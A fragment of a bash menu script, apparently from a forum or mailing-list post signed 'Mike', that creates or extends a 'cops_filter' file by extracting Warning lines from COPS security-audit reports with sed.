select ANSWER in "Creating A New Filter?" "Adding To An Existing Filter?" "Ending It All?"
do
case $REPLY in
1 )
echo
echo "What file are you creating the filter from?"
echo
read COPSOURCE
if [[ ! -f $COPSOURCE ]]
then
stand_err $COPSOURCE
fi
part_one
sed -e '/^ *$/d' -e 's/^Warning/XWarning/' -n -e '/^XWarning/p' -e 's/^ftp-Warning/Xftp-Warning/' -n -e '/^Xftp-Warning/p' $COPSOURCE >> tempo
part_two
echo "Filter file \"cops_filter\" created successfully!"
echo
break;;
2 )
echo
echo "What's the name of the existing filter?"
echo
read COPSORIG
if [[ ! -f $COPSORIG ]]
then
stand_err $COPSORIG
fi
part_one
sed -n -e '/^(\$/p' $COPSORIG >> harpo
sed -e '/)) {/d' harpo >> zeppo
cat zeppo >> filterfile
echo
echo "What file are you adding from?"
echo
read ADDFILE
if [[ ! -f $ADDFILE ]]
then
stand_err $ADDFILE
fi
sed -e '/^ *$/d' -e 's/^Warning/XWarning/' -n -e '/^XWarning/p' -e 's/^ftp-Warning/Xftp-Warning/' -n -e '/^Xftp-Warning/p' $ADDFILE >> tempo
part_two
echo "Augmented filter file \"cops_filter\" created successfully!"
echo
break;;
3 )
clean_up
echo
echo "Cleaning up Temp Files..."
echo
echo "All gone!"
echo
exit 1;;
* )
echo
echo "$REPLY, huh?"
echo
echo "Press Return to Get On With It..."
read OBLIGSTOP
exec ./cfm;;
esac
done
rm -f harpo zeppo tempo newtempo
if [[ $COPSORIG == COPS_filter ]]
then
SIGN=$$
mv cops_filter cops_filter.$SIGN
echo "The original has been copied to \"cops_filter.$SIGN\"!"
echo
fi
if [[ -f cops_filter ]]
then
SIGN=$$
echo "Other COPS_filter file found! Copied to cops_filter.$SIGN!"
echo
mv cops_filter cops_filter.$SIGN
fi
mv filterfile cops_filter
exit


, Mike